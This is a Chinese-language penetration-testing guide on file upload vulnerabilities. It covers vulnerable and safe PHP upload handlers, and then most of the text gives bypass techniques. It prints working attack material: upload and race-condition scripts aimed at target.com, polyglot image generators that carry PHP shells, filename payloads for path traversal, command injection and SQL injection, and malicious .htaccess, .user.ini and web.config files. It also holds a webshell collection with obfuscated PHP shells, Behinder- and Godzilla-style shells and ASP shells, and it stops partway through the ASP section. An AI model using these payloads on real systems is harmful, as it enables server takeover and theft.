梳理文件上传漏洞的原理、检测逻辑、绕过技巧、利用方式与防御方案。
一、漏洞概述
1.1 定义
文件上传漏洞是指 Web 应用程序在处理用户上传的文件时,未对文件类型、内容、扩展名进行严格校验,导致攻击者能够上传可执行的恶意脚本文件(WebShell),进而实现任意代码执行(RCE)、服务器控制等目的。
1.2 危害等级与后果
危害级别: 🔴 严重(CVSS 评分通常 ≥ 9.0)
| 危害 | 说明 |
|---|---|
| WebShell 植入 | 上传 PHP/ASP/JSP 脚本,获得服务器交互控制权 |
| 任意代码执行 | 通过 WebShell 执行系统命令,读写任意文件 |
| 服务器控制 | 反弹 Shell,获得持久化访问 |
| 内网渗透 | 以 WebShell 为跳板,横向移动到内网 |
| 数据窃取 | 读取数据库配置、用户数据、源代码 |
| 拒绝服务 | 上传超大文件消耗存储空间/磁盘 IO |
| XSS 触发 | 上传含恶意脚本的 SVG/HTML 文件 |
| 钓鱼攻击 | 上传伪装的可执行文件用于社工 |
1.3 漏洞触发的必要条件
条件一:服务器允许文件上传
条件二:上传的文件可被服务器解析执行(PHP/ASP/JSP 等)
条件三:攻击者知道(或能猜到)上传文件的 URL 路径
三个条件同时满足 → 成功利用文件上传 RCE
1.4 常见上传功能场景
用户头像上传
文章/文档附件上传
图片/媒体素材上传
报表/数据文件导入(CSV/Excel/PDF)
代码仓库(Git/SVN)文件提交
在线文件管理器
邮件附件上传
主题/插件/模板上传(CMS)
二、形成原因与代码分析
2.1 根本原因
用户上传文件
↓
服务端仅依赖不可靠的客户端数据(扩展名/MIME)进行验证
或服务端检测逻辑存在缺陷(黑名单不完整、绕过方式多样)
↓
恶意文件成功落地到 Web 可访问目录
↓
攻击者访问上传文件的 URL → 服务器解析执行 → RCE
2.2 典型漏洞代码
无任何验证(最危险)
<?php
// ❌ 完全没有任何安全检查
move_uploaded_file(
$_FILES['file']['tmp_name'],
'uploads/' . $_FILES['file']['name']
);
echo "Upload success: uploads/" . $_FILES['file']['name'];
仅前端 JS 验证
<!-- ❌ 仅依赖前端 JS 验证,可轻易绕过 -->
<script>
function checkFile() {
var file = document.getElementById('file').value;
var ext = file.substring(file.lastIndexOf('.') + 1).toLowerCase();
if (ext !== 'jpg' && ext !== 'png' && ext !== 'gif') {
alert('Only image files allowed!');
return false;
}
return true;
}
</script>
<form onsubmit="return checkFile()">
<input type="file" id="file" name="file">
<input type="submit" value="Upload">
</form>
黑名单过滤不完整
<?php
// ❌ 黑名单不完整,存在大量绕过手法
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$blacklist = ['php', 'asp', 'aspx', 'jsp'];
if (in_array(strtolower($ext), $blacklist)) {
die('File type not allowed!');
}
move_uploaded_file(
$_FILES['file']['tmp_name'],
'uploads/' . $_FILES['file']['name']
);
仅验证 Content-Type
<?php
// ❌ 仅验证 Content-Type,可被 Burp 修改
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
die('Only image files allowed!');
}
// Content-Type 完全由客户端控制,不可信!
move_uploaded_file(
$_FILES['file']['tmp_name'],
'uploads/' . $_FILES['file']['name']
);
安全代码示例(正确写法)
<?php
// ✅ 正确的安全校验
function safe_upload($file, $upload_dir) {
// 1. 白名单扩展名
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
return ['error' => 'File type not allowed'];
}
// 2. 验证文件头(魔术字节)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (!in_array($mime, $allowed_mimes)) {
return ['error' => 'Invalid file content'];
}
// 3. 对图片进行二次渲染(彻底清除嵌入的代码)
if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif'])) {
$img = imagecreatefromstring(file_get_contents($file['tmp_name']));
if (!$img) return ['error' => 'Invalid image'];
// 重新保存图片(清除 EXIF 和附加数据)
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
imagejpeg($img, $upload_dir . $new_name, 85);
imagedestroy($img);
}
// 4. 随机文件名(防止路径预测)
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
// 5. 存储到 Web 根目录外(或禁止执行)
if (!move_uploaded_file($file['tmp_name'], $upload_dir . $new_name)) {
return ['error' => 'Upload failed'];
}
return ['success' => true, 'filename' => $new_name];
}
三、文件上传检测机制
了解检测机制是构造绕过手法的基础,常见检测点如下:
上传请求
│
├─① 前端 JS 检测(文件扩展名) ← 最弱,直接 Burp 绕过
│
├─② Content-Type 检测(MIME 类型) ← 修改请求头绕过
│
├─③ 文件扩展名检测
│ ├─ 黑名单检测 ← 变换大小写/等价扩展名绕过
│ └─ 白名单检测 ← 较难绕过,需配合其他手法
│
├─④ 文件内容检测
│ ├─ 魔术字节(文件头)检测 ← 添加合法文件头绕过
│ ├─ 完整文件内容解析 ← 图片马绕过
│ └─ 防病毒/恶意代码扫描 ← 混淆/变形绕过
│
├─⑤ 文件大小限制 ← 压缩/精简 Payload
│
├─⑥ 上传路径检测 ← 路径穿越绕过
│
└─⑦ 二次渲染 ← 特殊构造绕过
四、前端检测绕过
4.1 JavaScript 扩展名检测绕过
前端 JS 检测是最薄弱的防线,所有绕过方法都基于"不经过 JS 验证直接发送请求":
方法一:Burp Suite 拦截修改
操作步骤:
1. 选择一个合法的图片文件(如 image.jpg)
2. 提交表单,Burp 拦截请求
3. 在 Burp Proxy 中将文件名改为 shell.php
4. 同时将文件内容改为 PHP 代码
5. 放行请求 → 绕过前端检测
方法二:禁用 JavaScript
浏览器操作:
- Chrome: 设置 → 隐私与安全 → 网站设置 → JavaScript → 禁用
- 或安装 NoScript 插件
- 禁用后直接提交,前端 JS 验证失效
方法三:修改 HTML 表单
<!-- 原始表单(有 onsubmit 检测)-->
<input type="file" accept=".jpg,.png" id="file">
<!-- 浏览器 F12 → Elements 面板,直接修改:-->
<!-- 删除 accept 属性,删除 onsubmit 属性 -->
<input type="file" id="file">
<!-- 或在控制台执行 -->
document.getElementById('file').removeAttribute('accept');
document.querySelector('form').removeAttribute('onsubmit');
方法四:直接构造 HTTP 请求
import requests
# 完全绕过浏览器前端验证,直接发送请求
url = "http://target.com/upload.php"
files = {
'file': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(url, files=files)
print(r.text)
五、MIME 类型绕过
5.1 Content-Type 检测原理
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitBoundary
------WebKitBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php ← 服务端检测这里
<?php system($_GET["cmd"]); ?>
------WebKitBoundary--
5.2 修改 Content-Type 绕过
操作步骤(Burp Suite):
1. 上传 shell.php 文件
2. 拦截请求,找到文件部分的 Content-Type
3. 将 Content-Type: application/x-php
改为 Content-Type: image/jpeg
或 image/png
或 image/gif
4. 放行请求
# Python 脚本直接指定 MIME 类型
import requests
url = "http://target.com/upload.php"
files = {
# (filename, filedata, content_type)
'file': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
cookies = {'PHPSESSID': 'your_session_id'}
r = requests.post(url, files=files, cookies=cookies)
print(r.text)
5.3 常用伪装 MIME 类型
| 伪装为 | Content-Type 值 |
|---|---|
| JPEG 图片 | image/jpeg |
| PNG 图片 | image/png |
| GIF 图片 | image/gif |
| WebP 图片 | image/webp |
| PDF 文件 | application/pdf |
| Word 文档 | application/msword |
| 普通文本 | text/plain |
六、文件扩展名绕过
6.1 黑名单绕过——PHP 等价扩展名
当服务端使用黑名单过滤 .php 时,以下扩展名在 Apache/Nginx 中同样会被解析为 PHP:
# Apache 默认可解析的 PHP 扩展名(取决于配置)
.php
.php3
.php4
.php5
.php7
.php8
.phtml # PHP HTML 混合文件
.pht # PHP 模板
.phps # PHP 源码(某些配置下可执行)
.phar # PHP 归档
.pgif # 某些老版本
.shtml # SSI(Server Side Includes)
.shtm
# 不常见但可能有效
.php.bak # 某些配置
.php~
.php_bak
# 测试策略:逐一尝试以下扩展名
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.phar
shell.shtml
6.2 大小写绕过
# 服务端过滤时未转小写,或 Windows 文件系统不区分大小写
shell.PHP # 大写
shell.PhP # 混合大小写
shell.pHp # 混合大小写
shell.PHP5 # 大写数字扩展名
shell.Phtml # 首字母大写
shell.PHTML # 全大写
6.3 双扩展名绕过
# 利用服务端 pathinfo 解析方式的差异
shell.jpg.php # 某些配置下以最后一个扩展名为准
shell.php.jpg # 某些 Apache 配置(从右到左找可识别扩展名)
shell.php.xxxxx # 最后扩展名未知,Apache 可能回退到 .php
# Apache 的 AddHandler 配置漏洞
# 若配置了 AddHandler application/x-httpd-php .php
# 则文件名中包含 .php 即被解析,无论其后还有什么扩展名
shell.php.jpg # 被解析为 PHP(因为包含 .php)
shell.php.xxx # 同上
# 测试用扩展名
shell.php.jpg
shell.php.png
shell.php.gif
shell.php.doc
shell.php.xxx
6.4 特殊字符绕过
# 空字节截断(PHP < 5.3.4)
shell.php%00.jpg → 存储为 shell.php(%00 截断 .jpg)
shell.php\0.jpg → 同上
# Windows 文件系统特性
shell.php. # 末尾点号,Windows 会自动去除
shell.php # 末尾空格,Windows 会自动去除(URL 中用 %20)
shell.php::$DATA # NTFS 交换数据流,Windows 存储为 shell.php
shell.php:php # ADS 流
shell.php.... # 多个末尾点号
# 分号截断(某些中间件)
shell.asp;.jpg # IIS 6.0 特性:; 之后内容忽略
shell.php;.jpg # 部分配置
# 斜杠截断
shell.php/ # 某些场景
shell.php/. # 某些场景
6.5 白名单绕过思路
当使用白名单(只允许 jpg/png/gif 等)时,直接改扩展名无效,需配合其他手法:
白名单场景的绕过组合:
├── 配合 .htaccess 上传(修改解析规则)
├── 配合 .user.ini 上传(PHP-FPM 场景)
├── 配合 Web 服务器解析漏洞
├── 文件包含漏洞(上传图片马 + LFI)
├── 条件竞争(上传后检测前包含)
└── 二次渲染绕过(嵌入特殊位置)
6.6 IIS 解析漏洞
# IIS 6.0 目录解析漏洞
# 若目录名包含 .asp,目录下所有文件均以 ASP 解析
/upload/shell.asp/shell.jpg → shell.jpg 被当作 ASP 执行
# IIS 6.0 分号截断漏洞
shell.asp;.jpg → 存储为 shell.asp;.jpg,但以 ASP 解析
# IIS 7.0/7.5 PHP FastCGI 解析漏洞(同 Nginx)
shell.jpg/.php → shell.jpg 被当作 PHP 执行
shell.jpg%00.php → 同上(某些版本)
6.7 Nginx 解析漏洞
# Nginx + PHP-FPM 解析漏洞(cgi.fix_pathinfo = 1)
# 在文件 URL 后追加 /.php,触发 PHP 解析
http://target.com/uploads/shell.jpg/.php
http://target.com/uploads/image.png/.php
http://target.com/uploads/any_file/.php
# 原理:PHP-FPM 的 PATH_INFO 特性
# 若 cgi.fix_pathinfo=1,/shell.jpg/.php 会尝试执行 shell.jpg
# 空字节漏洞(老版本 Nginx)
http://target.com/uploads/shell.jpg%00.php
6.8 Apache 解析漏洞
# Apache 多后缀解析(从右到左识别)
# 若最后扩展名不被识别,继续识别前一个
shell.php.xxx → .xxx 不识别 → 解析 .php ✅
shell.php.rar → .rar 可能不识别 → 解析 .php ✅
shell.php.7z → .7z 不识别 → 解析 .php ✅
# 确认 Apache 不识别的扩展名(服务端无 MIME 映射)
.xxx .aaa .bbb .qwerty 等自定义扩展名
# Apache httpd 2.4.x CVE-2017-15715(换行符绕过)
# 在扩展名后添加换行符
shell.php%0A → 某些版本 Apache 解析为 PHP
七、文件内容检测绕过
7.1 魔术字节(文件头)检测原理
每种文件类型都有特定的文件头(Magic Bytes),服务端通过读取文件前几个字节来判断真实类型:
| 文件类型 | 魔术字节(Hex) | ASCII 表示 |
|---|---|---|
| JPEG | FF D8 FF |
ÿØÿ |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
\x89PNG\r\n\x1a\n |
| GIF | 47 49 46 38 37 61 / ...39 61 |
GIF87a / GIF89a |
25 50 44 46 |
%PDF |
|
| ZIP | 50 4B 03 04 |
PK\x03\x04 |
| BMP | 42 4D |
BM |
| WebP | 52 49 46 46...57 45 42 50 |
RIFF....WEBP |
7.2 添加文件头绕过
// 在 PHP WebShell 前添加合法图片文件头
// GIF 文件头(最简单,6字节)
GIF89a<?php system($_GET["cmd"]); ?>
// JPEG 文件头
\xFF\xD8\xFF<?php system($_GET["cmd"]); ?>
// PNG 文件头
\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>
# Python 构造图片头 + PHP 代码
import struct
def make_shell(shell_code, file_type='gif'):
headers = {
'gif': b'GIF89a',
'jpg': b'\xff\xd8\xff\xe0\x00\x10JFIF\x00',
'png': b'\x89PNG\r\n\x1a\n',
'bmp': b'BM',
'pdf': b'%PDF-1.4\n',
}
header = headers.get(file_type, b'GIF89a')
return header + shell_code.encode()
shell = make_shell('<?php system($_GET["cmd"]); ?>', 'gif')
with open('shell.gif.php', 'wb') as f:
f.write(shell)
print(f"Generated shell.gif.php ({len(shell)} bytes)")
7.3 getimagesize() 绕过
// 目标检测代码
$info = getimagesize($_FILES['file']['tmp_name']);
if ($info === false) die('Not a valid image');
// 绕过:构造能通过 getimagesize() 检测的恶意文件
// GIF 格式(最简单,getimagesize 只检查前几字节)
// 文件内容:
GIF89a
<?php system($_GET["cmd"]); ?>
// PHP 代码不影响 getimagesize() 对 GIF 的识别
// 完整的最小合法 GIF + PHP 代码
// 可以用 Python 生成:
python3 -c "
data = b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;'
php = b'<?php system(\$_GET[\"cmd\"]); ?>'
print(data + php)
" > shell.gif
7.4 imagecreatefromjpeg() / imagecreatefrompng() 绕过
当服务端对图片进行二次解析时,需要构造真实的图片格式:
// 目标检测代码(更严格)
$img = imagecreatefromjpeg($_FILES['file']['tmp_name']);
if (!$img) die('Invalid JPEG');
绕过思路:
使用真实图片,将 PHP 代码嵌入 EXIF 元数据中
步骤:
1. 准备一张正常 JPEG 图片
2. 使用 exiftool 将 PHP 代码写入 Comment 字段
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
3. imagecreatefromjpeg() 解析图片结构,EXIF 数据被保留
4. 上传成功,通过 LFI 包含,或图片直接被 include
# exiftool 操作
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
exiftool -Artist='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# 验证 EXIF 是否写入
exiftool shell.jpg | grep Comment
7.5 二进制位置嵌入
# 在 JPEG 图片的特定二进制位置嵌入 PHP 代码
# 某些位置即使经过二次渲染也能保留
def inject_php_in_jpeg(jpeg_path, php_code, output_path):
with open(jpeg_path, 'rb') as f:
data = bytearray(f.read())
php_bytes = php_code.encode('utf-8')
# 在 APP0 标记(FFE0)之后注入
# 找到合适的注入位置
inject_pos = data.find(b'\xff\xe0')
if inject_pos == -1:
inject_pos = 20 # 默认位置
# 在注释标记(FFFE)后插入
comment_marker = b'\xff\xfe'
length = len(php_bytes) + 2
comment_block = comment_marker + length.to_bytes(2, 'big') + php_bytes
data = data[:inject_pos] + comment_block + data[inject_pos:]
with open(output_path, 'wb') as f:
f.write(bytes(data))
inject_php_in_jpeg('real.jpg', '<?php system($_GET["cmd"]); ?>', 'shell.jpg')
八、路径与文件名绕过
8.1 路径穿越写文件
# 若服务端将文件名直接拼接到路径中
filename=../shell.php
filename=../../shell.php
filename=../../../var/www/html/shell.php
# URL 编码绕过过滤
filename=..%2fshell.php
filename=..%252fshell.php (双重编码)
filename=%2e%2e%2fshell.php
# 绝对路径写入(某些场景)
filename=/var/www/html/shell.php
filename=C:\inetpub\wwwroot\shell.php
8.2 文件名注入
# 命令注入(文件名作为参数传给 Shell 命令)
filename=shell.php;id
filename=shell.php`id`
filename=shell.php$(id)
filename=|id#.php
# SQL 注入(文件名插入数据库)
filename=' UNION SELECT 1-- -.php
filename='; DROP TABLE files;-- -.php
# XSS(文件名显示在页面)
filename=<script>alert(1)</script>.jpg
filename="><img src=x onerror=alert(1)>.jpg
8.3 覆盖配置文件
# 上传 .htaccess 覆盖目录配置(Apache)
# 详见第十一章
# 上传 web.config 覆盖 IIS 配置
filename=web.config
# 上传 .user.ini 覆盖 PHP 配置
filename=.user.ini
# 上传到特殊目录
filename=../index.php → 覆盖 Web 根目录下的 index.php
filename=.htaccess → 修改 Apache 目录配置
九、条件竞争绕过
9.1 原理
正常上传流程(有安全检测):
① 接收文件 → 保存临时文件
② 检测文件类型/内容(白名单/黑名单/内容检测)
③ 通过检测 → 移动到目标目录
④ 不通过 → 删除临时文件
条件竞争攻击:
利用 ① 和 ④ 之间的极短时间窗口
在文件被删除之前,发送另一个请求访问/包含该文件
攻击时序:
Thread A: 上传 → 临时保存 shell.php → [存在窗口] → 检测 → 删除
Thread B: ↑访问 shell.php → RCE ✅
9.2 竞争条件攻击脚本
import requests
import threading
import time
TARGET_UPLOAD = "http://target.com/upload.php"
TARGET_SHELL = "http://target.com/uploads/shell.php"
SHELL_CONTENT = b"<?php system($_GET['cmd']); ?>"
SHELL_PAYLOAD = b"GIF89a" + SHELL_CONTENT # 伪装成 GIF
CMD = "id"
SUCCESS = False
session = requests.Session()
# 若需要登录
# session.post("http://target.com/login", data={"user":"admin","pass":"admin"})
def upload_shell():
"""持续上传 Shell 文件"""
while not SUCCESS:
try:
files = {'file': ('shell.php', SHELL_PAYLOAD, 'image/gif')}
session.post(TARGET_UPLOAD, files=files, timeout=5)
except Exception:
pass
def access_shell():
"""持续尝试访问并执行 Shell"""
global SUCCESS
while not SUCCESS:
try:
r = session.get(TARGET_SHELL, params={'cmd': CMD}, timeout=2)
if r.status_code == 200 and 'uid=' in r.text:
print(f"\n[+] Race Condition Win!")
print(f"[+] Output: {r.text.strip()}")
SUCCESS = True
except Exception:
pass
print("[*] Starting race condition attack...")
print(f"[*] Upload URL: {TARGET_UPLOAD}")
print(f"[*] Shell URL: {TARGET_SHELL}")
# 启动多个上传线程和访问线程
threads = []
for _ in range(5): # 5 个上传线程
t = threading.Thread(target=upload_shell)
t.daemon = True
threads.append(t)
for _ in range(10): # 10 个访问线程
t = threading.Thread(target=access_shell)
t.daemon = True
threads.append(t)
for t in threads:
t.start()
# 等待成功或超时
timeout = 30
start = time.time()
while not SUCCESS and time.time() - start < timeout:
time.sleep(0.5)
if not SUCCESS:
print("[-] Race condition attack timed out")
9.3 使用 Burp Turbo Intruder
# Burp Suite Turbo Intruder 脚本(精确并发)
# 在 Turbo Intruder 中粘贴以下脚本
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
# 上传请求
upload_req = '''POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif
GIF89a<?php system($_GET['cmd']); ?>
------Boundary--'''
# 访问请求
access_req = '''GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.com
'''
# 交替发送上传和访问请求
for i in range(100):
engine.queue(upload_req, gate='race')
for i in range(100):
engine.queue(access_req, gate='race')
engine.openGate('race')
def handleResponse(req, interesting):
if 'uid=' in req.response:
table.add(req)
十、二次渲染绕过
10.1 原理
二次渲染流程:
上传图片 → 服务端重新解码图片 → 使用 GD/Imagick 重新生成 → 保存新文件
目的:清除图片中嵌入的恶意代码
绕过思路:
找到图片重新生成后"不被改变"的数据区域
将 PHP 代码嵌入该区域
10.2 GIF 二次渲染绕过
GIF 文件的注释块在二次渲染后通常被保留:
import struct
def create_gif_with_php(php_code, output_path):
"""
构造一个最小化 GIF,将 PHP 代码嵌入
在二次渲染后仍能保留的位置
"""
# GIF 头部
header = b'GIF89a'
# 逻辑屏幕描述符(1x1 像素)
logical_screen = struct.pack('<HHBBB', 1, 1, 0x80, 0, 0)
# 全局颜色表(两色:黑白)
color_table = b'\xff\xff\xff\x00\x00\x00'
# 注释扩展块(PHP 代码放这里)
php_bytes = php_code.encode('latin-1')
comment_ext = b'\x21\xfe' # 注释扩展标识
# 按每块最多 255 字节分割
comment_data = b''
for i in range(0, len(php_bytes), 255):
chunk = php_bytes[i:i+255]
comment_data += bytes([len(chunk)]) + chunk
comment_data += b'\x00' # 块终止符
# 图像数据(最小 1x1 像素)
image_desc = b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00'
image_data = b'\x02\x02\x4c\x01\x00'
# GIF 尾部
trailer = b'\x3b'
gif = (header + logical_screen + color_table +
comment_ext + comment_data +
image_desc + image_data + trailer)
with open(output_path, 'wb') as f:
f.write(gif)
print(f"[+] Created {output_path} ({len(gif)} bytes)")
create_gif_with_php('<?php system($_GET["cmd"]); ?>', 'shell_render.gif')
10.3 PNG 二次渲染绕过
PNG 的 tEXt / zTXt 块在某些实现中会被保留:
import struct, zlib
def create_png_with_php(php_code, output_path):
def make_chunk(chunk_type, data):
"""构造 PNG 数据块"""
chunk = chunk_type + data
crc = struct.pack('>I', zlib.crc32(chunk) & 0xffffffff)
return struct.pack('>I', len(data)) + chunk + crc
# PNG 签名
signature = b'\x89PNG\r\n\x1a\n'
# IHDR 块(1x1 像素,8位RGB)
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = make_chunk(b'IHDR', ihdr_data)
# tEXt 块(文本元数据,嵌入 PHP 代码)
# 格式:keyword\x00text
text_data = b'Comment\x00' + php_code.encode('latin-1')
text_chunk = make_chunk(b'tEXt', text_data)
# IDAT 块(最小图像数据)
raw_data = b'\x00\xff\xff\xff' # 1x1 白色像素(带过滤字节0)
compressed = zlib.compress(raw_data)
idat = make_chunk(b'IDAT', compressed)
# IEND 块
iend = make_chunk(b'IEND', b'')
png = signature + ihdr + text_chunk + idat + iend
with open(output_path, 'wb') as f:
f.write(png)
print(f"[+] Created {output_path} ({len(png)} bytes)")
create_png_with_php('<?php system($_GET["cmd"]); ?>', 'shell_render.png')
10.4 JPEG 二次渲染绕过
JPEG 中的 COM(注释)和 APP1(EXIF)段有时能幸存:
# 方法一:exiftool 写入多个字段
exiftool \
-Comment='<?php system($_GET["cmd"]); ?>' \
-Artist='<?php system($_GET["cmd"]); ?>' \
-Copyright='<?php system($_GET["cmd"]); ?>' \
-Description='<?php system($_GET["cmd"]); ?>' \
real.jpg -o shell.jpg
# 验证写入
strings shell.jpg | grep php
# 方法二:通过 Photoshop/GIMP 手动添加元数据
# 在 PS 中:文件 → 文件简介 → 说明 → 写入 PHP 代码
# 方法三:寻找二次渲染后的稳定位置(需多次测试)
# 上传 → 下载渲染后的图片 → 用 hexdump 对比前后差异
# 找到不变的区域 → 写入 PHP 代码
十一、配置文件上传利用
11.1 .htaccess 上传(Apache)
.htaccess 是 Apache 的目录级配置文件,若能上传到目标目录,可修改该目录的 PHP 解析规则。
基础利用
# 上传内容(.htaccess 文件)
# 方法一:将所有文件当作 PHP 执行
SetHandler application/x-httpd-php
# 方法二:将特定扩展名文件当作 PHP 执行
AddType application/x-httpd-php .jpg .png .gif .xxx
AddHandler application/x-httpd-php .jpg
# 方法三:将任意扩展名文件当作 PHP 执行
<FilesMatch ".*">
SetHandler application/x-httpd-php
</FilesMatch>
# 方法四:只针对特定文件名
<Files "shell.jpg">
SetHandler application/x-httpd-php
</Files>
# 方法五:正则匹配
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
利用步骤
Step 1: 上传 .htaccess 文件(内容如上)
注意:.htaccess 本身扩展名为空,MIME 设为 text/plain
Step 2: 上传 shell.jpg(内容为 PHP 代码)
<?php system($_GET["cmd"]); ?>
Step 3: 访问 http://target.com/uploads/shell.jpg?cmd=id
→ Apache 根据 .htaccess 规则将 .jpg 解析为 PHP → RCE ✅
import requests
def upload_htaccess_shell(base_url, upload_endpoint, upload_dir):
"""上传 .htaccess + shell.jpg 组合"""
s = requests.Session()
# Step 1: 上传 .htaccess
htaccess_content = b'AddType application/x-httpd-php .jpg'
r1 = s.post(base_url + upload_endpoint,
files={'file': ('.htaccess', htaccess_content, 'text/plain')})
print(f"[1] .htaccess upload: {r1.status_code}")
# Step 2: 上传 shell.jpg
shell_content = b'<?php system($_GET["cmd"]); ?>'
r2 = s.post(base_url + upload_endpoint,
files={'file': ('shell.jpg', shell_content, 'image/jpeg')})
print(f"[2] shell.jpg upload: {r2.status_code}")
# Step 3: 触发 RCE
r3 = s.get(base_url + upload_dir + 'shell.jpg', params={'cmd': 'id'})
print(f"[3] RCE result: {r3.text[:200]}")
upload_htaccess_shell(
"http://target.com",
"/upload.php",
"/uploads/"
)
11.2 .user.ini 上传(PHP-FPM)
.user.ini 是 PHP-FPM 的用户级配置文件,可以修改 PHP 配置,类似 .htaccess 的作用。
# .user.ini 内容
# auto_prepend_file:在每个 PHP 文件执行前自动包含指定文件
auto_prepend_file=/var/www/html/uploads/shell.jpg
# auto_append_file:在每个 PHP 文件执行后自动包含
auto_append_file=/var/www/html/uploads/shell.jpg
# 若不知道绝对路径,可用相对路径
auto_prepend_file=shell.jpg
利用步骤:
Step 1: 上传 .user.ini
内容:auto_prepend_file=shell.jpg
目标目录:需要与目标 PHP 文件在同一目录
Step 2: 上传 shell.jpg
内容:<?php system($_GET["cmd"]); ?>
Step 3: 访问该目录下的任意 PHP 文件
http://target.com/uploads/index.php?cmd=id
→ PHP-FPM 自动 prepend shell.jpg → RCE ✅
注意事项:
- .user.ini 有缓存,默认每 300 秒(5分钟)重新读取一次
- 需要服务器使用 PHP-FPM(而非 Apache mod_php)
- 必须上传到有 PHP 文件的目录
11.3 web.config 上传(IIS)
<!-- IIS web.config 文件 -->
<!-- 将 .jpg 文件映射为 ASP 处理 -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.jpg"
verb="GET,HEAD,POST,DEBUG"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Script"
allowPathInfo="false" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".jpg" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- 配合上传的 shell.jpg(ASP 内容)-->
<%
Dim cmd
cmd = Request.QueryString("cmd")
Set oShell = Server.CreateObject("WScript.Shell")
Set oExec = oShell.Exec(cmd)
Response.Write(oExec.StdOut.ReadAll())
%>
十二、各语言 WebShell 大全
12.1 PHP WebShell
<?php
// ── 一句话 WebShell(最简)──
<?php @eval($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo `$_GET['cmd']`; ?>
// ── 带伪装的一句话 ──
GIF89a
<?php @eval($_POST['x']); ?>
// ── 变形混淆(绕过简单检测)──
<?php $f='sys'.'tem'; $f($_GET['c']); ?>
<?php $f=base64_decode('c3lzdGVt'); $f($_GET['c']); ?>
<?php @$_="s"."s"."e"."r"."t"; @$_("ev"."al"."(\$_POST[x])"); ?>
// ── 无字母数字(PHP 高阶)──
<?php
$_=('%01'^'`').('%13'^'`').('%19'^'`').('%05'^'`').('%12'^'`').('%05'^'`'); // assert
$__='_'.('%0f'^'`').('%2f'^'`').('%0e'^'`').('%27'^'`'); // _POST
$___=$$__;
$_($___[_]);
?>
// ── 功能完整的 WebShell ──
<?php
error_reporting(0);
session_start();
if(md5($_POST['pass']) !== '5f4dcc3b5aa765d61d8327deb882cf99') {
die('<form method="POST"><input name="pass" type="password"><input type="submit"></form>');
}
function runcmd($c) {
$r = '';
$d = @popen($c . ' 2>&1', 'r');
if($d) { while(!feof($d)) $r .= fread($d,4096); pclose($d); }
return $r;
}
if(isset($_POST['cmd'])) echo '<pre>' . htmlspecialchars(runcmd($_POST['cmd'])) . '</pre>';
if(isset($_POST['dl'])) readfile($_POST['dl']);
?>
<form method="POST">
<input name="cmd" placeholder="command" style="width:400px">
<input type="submit" value="exec">
</form>
// ── 冰蝎(Behinder)WebShell ──
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d925b";
$_SESSION['k'] = $key;
session_write_close();
$post = file_get_contents("php://input");
if(!extension_loaded('openssl')) {
$t = "base64_" . "decode";
$post = $t($post . "");
for($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[$i+1 & 15];
}
} else {
$post = openssl_decrypt($post, "AES128", $key);
}
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
class C{public function __invoke($p){eval($p . "");}}
@call_user_func(new C(), $params);
?>
// ── 哥斯拉(Godzilla)WebShell ──
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass = 'pass';
$payloadName = 'payload';
$key = substr(md5($pass.$_SERVER['HTTP_HOST']),0,16);
$data = file_get_contents('php://input');
if(isset($data)){
$data = encode($data,$key);
if(isset($data)){
@eval($data);
}
}
?>
12.2 ASP / ASPX WebShell
<%
' ── 经典 ASP 一句话 ──
Execute(request("cmd"))
eval request("cmd")
' ── 命令执行 ──
<%
Dim cmd, shell
cmd = Request.QueryString("cmd")
Set shell = Server.CreateObject("WScript.Shell")
Set exec = shell.Exec(cmd)
